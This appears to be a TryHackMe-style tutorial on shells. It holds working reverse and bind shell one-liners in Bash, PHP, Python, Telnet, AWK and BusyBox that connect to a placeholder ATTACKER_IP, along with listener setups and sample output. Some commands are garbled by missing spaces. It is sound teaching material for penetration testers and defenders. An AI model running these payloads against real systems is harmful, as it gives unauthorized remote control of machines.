# SHELL Overview

Shells in cyber security are widely used by attackers to remotely control systems, making them an important part of the attack chain.

## What is a Shell?

A shell is software that allows a user to interact with an OS. It can be a graphical interface, but it is usually a command-line interface, and this will depend on the operating system running on the target system.

In cyber security, it commonly refers to a specific shell session an attacker uses when accessing a compromised system, allowing them to run commands and execute software. This will allow attackers to execute several activities, some of which are described below.

- **Remote System Control**: allows the attacker to execute commands or software remotely in the target system.
- **Privilege Escalation**: If initial access through a shell is limited or restricted, attackers can explore ways to escalate privileges to more elevated or administrative access.
- **Data Exfiltration**: Once attackers have access to execute commands through an obtained shell, they can explore the system to read and copy sensitive data from it.
- **Persistence and Maintenance Access**: Once shell access is obtained, attackers can create access through users and credentials or copy backdoor software to maintain access to the target system for later usage.
- **Post-Exploitation Activities**: After access to a shell is granted, attackers can perform a wide range of post-exploitation activities, such as deploying malware, creating hidden accounts, and deleting information.
- **Access Other Systems on the Network**: Depending on the attacker's intentions, the obtained shell can be just an initial access point. The goal can be to hop through the network to a different target using the obtained shell as a pivot to different points in the compromised system network. This is also known as pivoting.

All of the shells we will describe in the next tasks can help to achieve different limitations of the attacks described above.

## Reverse Shell

A reverse shell, sometimes referred to as a "connect back shell," is one of the most popular techniques for gaining access to a system in cyberattacks. The connections initiate from the target system to the attacker's machine, which can help avoid detection from network firewalls and other security appliances.

## How Reverse Shells Work

### Set up a Netcat (nc) Listener

Let's now understand how a reverse shell works in a practical scenario using the tool Netcat. This utility supports multiple OSs and allows reading and writing through a network.

As mentioned above, a reverse shell will connect back to the attacker's machine. This machine will be waiting for a connection, so let's use Netcat to listen to a connection using the following command `nc -lvnp 443`.

Terminal

```
attacker@kali:~$ nc -lvnp 443listening on [any] 4444 ...
```

The command above uses the `-l` option to indicate Netcat to listen or wait for a connection. The `-v` option enables verbose mode. The `-n` option prevents the connections from using DNS for lookup, so it will not resolve any hostname it will use an IP address. Finally, the `-p` flag indicates the port that will be used to wait for the connection, in the case above, port **443**.

Any port can be used to wait for a connection, but attackers and pentesters tend to use known ports used by other applications like **53**, **80**, **8080**, **443**, **139**, or **445**. This is to blend the reverse shell with legitimate traffic and

avoid detection by security appliances.

## Gaining Reverse Shell Access

Once we have our listener set, the attacker should execute what is known as a reverse shell payload. This payload usually abuses the vulnerability or unauthorized access granted by the attacker and executes a command that will expose the shell through the network. There's a variety of payloads that will depend on the tools and OS of the compromised system. We can explore some of them here.

As an example, let's analyze an example payload named a **pipe reverse shell**, as shown below.

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/
tmp/f
```

**Explanation of the Payload**

- `rm -f /tmp/f` - This command removes any existing named pipe file located at `/tmp/f/`. This ensures that the script can create a new named pipe without conflicts.
- `mkfifo /tmp/f` - This command creates a named pipe, or FIFO (first-in, first-out), at `/tmp/f`. Named pipes allow for two-way communication between processes. In this context, it acts as a conduit for input and output.
- `cat /tmp/f` - This command reads data from the named pipe. It waits for input that can be sent through the pipe.
- `| bash -i 2>&1` - The output of `cat` is piped to a shell instance (`bash -i`), which allows the attacker to execute commands interactively. The `2>&1` redirects standard error to standard output, ensuring that error messages are sent back to the attacker.
- `| nc ATTACKER_IP ATTACKER_PORT >/tmp/f` - This part pipes the shell's output through `nc` (Netcat) to the attacker's IP address (`ATTACKER_IP`) on the attacker's port (`ATTACKER_PORT`).
- `>/tmp/f` -This final part sends the output of the commands back into the named pipe, allowing for bi-directional communication.

The payload above can expose the shell `bash` through the network to the desired listener.

## Attacker Receives the Shell

Once the above payload is executed, the attacker will receive a **reverse shell**, as shown below, allowing them to execute commands as if they were logging into a regular terminal in the OS.

**Attacker Terminal Output (Receiving Shell)**

Terminal

```
attacker@kali:~$ nc -lvnp 443listening on [any] 443 ...
connect to [10.4.99.209] from (UNKNOWN) [10.10.13.37] 59964
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

target@tryhackme:~$
```

The output above shows the connection coming from the IP `10.10.13.37`, which is the IP address of the compromised target.

## Bind Shell

As the name indicates, a bind shell will bind a port on the compromised system and listen for a connection; when this connection occurs, it exposes the shell session so the attacker can execute commands remotely.

This method can be used when the compromised target does not allow outgoing connections, but it tends to be less popular since it needs to remain active and listen for connections, which can lead to detection.

## How bind shells work

**Setting Up the Bind Shell on the Target**

Let's create a bind shell. In this case, the attacker can use a command like the one below on the target machine.
`rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f`

**Explanation of the Payload**

- `rm -f /tmp/f` - This command removes any existing named pipe file located at `/tmp/f/`. This ensures that the script can create a new named pipe without conflicts.
- `mkfifo /tmp/f` - This command creates a named pipe, or FIFO, at `/tmp/f`. Named pipes allow for two-way communication between processes. In this context, it acts as a conduit for input and output.
- `cat /tmp/f` - This command reads data from the named pipe. It waits for input that can be sent through the pipe.
- `| bash -i 2>&1` - The output of `cat` is piped to a shell instance (`bash -i`), which allows the attacker to execute commands interactively. The `2>&1` redirects standard error to standard output, ensuring error messages are returned to the attacker.
- `| nc -l 0.0.0.0 8080` - Starts Netcat in listen mode (`l`) on all interfaces (`0.0.0.0`) and port `8080`. The shell will be exposed to the attacker once they connect to this port.
- `>/tmp/f` This final part sends the commands' output back into the named pipe, allowing for bidirectional communication.

The command above will listen for incoming connections and expose a bash shell. We need to note that ports below 1024 will require Netcat to be executed with elevated privileges. In this case, using port 8080 will avoid this.

**Terminal on the Target Machine (Bind Shell Setup)**

Terminal

```
target@tryhackme:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i2>&1 | nc -l 0.0.
0.0 8080 > /tmp/f
```

Once the command is executed, it will wait for an incoming connection, as shown above.

**Attacker Connects to the Bind Shell**

Now that the target machine is waiting for incoming connections, we can use Netcat again with the following command to connect.
`nc -nv TARGET_IP 8080`

**Explanation of the command**

- `nc` - This invokes Netcat, which establishes the connection to the target.
- `n` - Disables DNS resolution, allowing Netcat to operate faster and avoid unnecessary lookups.
- `v` - Verbose mode provides detailed output of the connection process, such as when the connection is established.
- `TARGET_IP` - The IP address of the target machine where the bind shell is running.
- `8080` - The port number on which the bind shell listens.

**Attacker Terminal (After Connection)**

Terminal

```
attacker@kali:~$ nc -nv 10.10.13.37 8080 (UNKNOWN) [10.10.13.37] 8080 (http-alt) open
target@tryhackme:~$
```

After connecting, we can get a shell, as shown above, and execute commands.

As we learned in previous tasks, a reverse shell will connect from the compromised target to the attacker's machine. A utility like Netcat will handle the connection and allow the attacker to interact with the exposed shell, but Netcat is not the only utility that will allow us to do that.

Let's explore some tools that can be used as listeners to interact with an incoming shell.

# Rlwrap

It is a small utility that uses the GNU readline library to provide editing keyboard and history.

**Usage Example (Enhancing a Netcat Shell With Rlwrap)**

Terminal

```
attacker@kali:~$ rlwrap nc -lvnp 443listening on [any] 443 ...
```

This wraps `nc` with `rlwrap`, allowing the use of features like arrow keys and history for better interaction.

## Ncat

Ncat is an improved version of Netcat distributed by the NMAP project. It provides extra features, like encryption (SSL).

**Usage Example (Listening for Reverse Shells)**

Terminal

```
attacker@kali:~$ ncat -lvnp 4444Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
```

**Usage Example (Listening for Reverse Shells with SSL)**

Terminal

```
attacker@kali:~$ ncat --ssl -lvnp 4444Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a p
ermanent one.
Ncat: SHA-1 fingerprint: B7AC F999 7FB0 9FF9 14F5 5F12 6A17 B0DC B094 AB7F
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
```

The `--ssl` option enables SSL encryption for the listener.

## Socat

It is a utility that allows you to create a socket connection between two data sources, in this case, two different hosts.

**Default Usage Example (Listening for Reverse Shell):**

Terminal

```
attacker@kali:~$ socat -d -d TCP-LISTEN:443 STDOUT2024/09/23 15:44:38 socat[41135] N l
istening on AF=2 0.0.0.0:443
```

The command above used the `-d` option to enable verbose output; using it again (`-d -d`) will increase the verbosity of the commands. The `TCP-LISTEN:443` option creates a TCP listener on port `443`, establishing a server socket for incoming connections. Finally, the STDOUT option directs any incoming data to the terminal.

A Shell Payload can be a command or script that exposes the shell to an incoming connection in the case of a bind shell or a send connection in the case of a reverse shell.

Let's explore some of these payloads that can be used in the Linux OS to expose the shell through the most popular **reverse shell**.

## Bash

**Normal Bash Reverse Shell**

Terminal

```
target@tryhackme:~$ bash -i >& /dev/tcp/ATTACKER_IP/4430>&1
```

This reverse shell initiates an interactive bash shell that redirects input and output through a TCP connection to the attacker's IP (**ATTACKER_IP**) on port `443`. The `>&` operator combines both standard output and standard error.

**Bash Read Line Reverse Shell**

Terminal

```
target@tryhackme:~$ exec5<>/dev/tcp/ATTACKER_IP/443; cat <&5 | while read line; do $li
ne2>&5 >&5; done
```

This reverse shell creates a new file descriptor (`5` in this case) and connects to a TCP socket. It will read and execute commands from the socket, sending the output back through the same socket.

**Bash With File Descriptor 196 Reverse Shell**

Terminal

```
target@tryhackme:~$0<&196;exec 196<>/dev/tcp/ATTACKER_IP/443; sh <&196 >&1962>&196
```

This reverse shell uses a file descriptor (`196` in this case) to establish a TCP connection. It allows the shell to read commands from the network and send output back through the same connection.

**Bash With File Descriptor 5 Reverse Shell**

Terminal

```
target@tryhackme:~$ bash -i5<> /dev/tcp/ATTACKER_IP/4430<&51>&52>&5
```

Similar to the first example, this command opens a shell (`bash -i`), but it uses file descriptor `5` for input and output, enabling an interactive session over the TCP connection.

## PHP

**PHP Reverse Shell Using the exec Function**

Terminal

```
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);exec("sh <&3 >&3 2>&
3");'
```

This reverse shell creates a socket connection to the attacker's IP on port `443` and uses the `exec` function to execute a shell, redirecting standard input and output.

**PHP Reverse Shell Using the shell_exec Function**

Terminal

```
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);shell_exec("sh <&3 >&3
2>&3");'
```

Similar to the previous command, but uses the `shell_exec` function.

**PHP Reverse Shell Using the system Function**

Terminal

```
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);system("sh <&3 >&3 2>&
3");'
```

This reverse shell employs the `system` function, which executes the command and outputs the result to the browser.

**PHP Reverse Shell Using the passthru Function**

Terminal

```
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);passthru("sh <&3 >&3 2>
&3");'
```

The `passthru` function executes a command and sends raw output back to the browser. This is useful when working with binary data.

**PHP Reverse Shell Using the popen Function**

Terminal

```
target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);popen("sh <&3 >&3 2>&
3", "r");'
```

This reverse shell uses `popen` to open a process file pointer, allowing the shell to be executed.

### Python

### Please note, the following snippets below require using `python -c` to run, indicated by the placeholder PY-C

**Python Reverse Shell by Exporting Environment Variables**

Terminal

```
target@tryhackme:~$ export RHOST="ATTACKER_IP"; export RPORT=443; PY-C 'import sys,soc
ket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
```

This reverse shell sets the remote host and port as environment variables, creates a socket connection, and duplicates the socket file descriptor for standard input/output.

**Python Reverse Shell Using the subprocess Module**

Terminal

```
target@tryhackme:~$ PY-C 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,s
ocket.SOCK_STREAM);s.connect(("10.4.99.209",443));os.dup2(s.fileno(),0); os.dup2(s.fil
eno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
```

This reverse shell uses the `subprocess` module to spawn a shell and set up a similar environment as the Python Reverse Shell by Exporting Environment Variables command.

**Short Python Reverse Shell**

Terminal

```
PY-C 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2
(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
```

This reverse shell creates a socket (`s`), connects to the attacker, and redirects standard input, output, and error to the socket using `os.dup2()`.

## Others

**Telnet**

Terminal

```
target@tryhackme:~$ TF=$(mktemp -u); mkfifo $TF && telnet ATTACKER_IP4430<$TF | sh1>$T
F
```

This reverse shell creates a named pipe using `mkfifo` and connects to the attacker via Telnet on IP `ATTACKER_IP` and port `443`.

**AWK**

Terminal

```
target@tryhackme:~$ awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/443"; while(42) { do{ pri
ntf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; cl
```

```
ose(c); } } while(c != "exit") close(s); }}' /dev/null
```

This reverse shell uses AWK's built-in TCP capabilities to connect to `ATTACKER_IP:443`. It reads commands from the attacker and executes them. Then it sends the results back over the same TCP connection.

**BusyBox**

Terminal

```
target@tryhackme:~$ busybox nc ATTACKER_IP 443 -e sh
```

This BusyBox reverse shell uses Netcat (`nc`) to connect to the attacker at `ATTACKER_IP:443`. Once connected, it executes `/bin/sh`, exposing the command line to the attacker.

we learned about **Reverse Shells**, **Bind Shells**, and **Web Shells**, how they are critical for attackers, penetration testers, and defenders, and how to identify them.

**Reverse Shells** establish a connection from a compromised machine back to an attacker's system. **Bind Shells**, on the other hand, listen for incoming connections on a compromised machine, and **Web Shells** offer attackers a unique avenue for exploiting vulnerabilities in web applications.

Understanding shells is critical for security professionals to either perform penetration testing exercises or to identify and defend systems.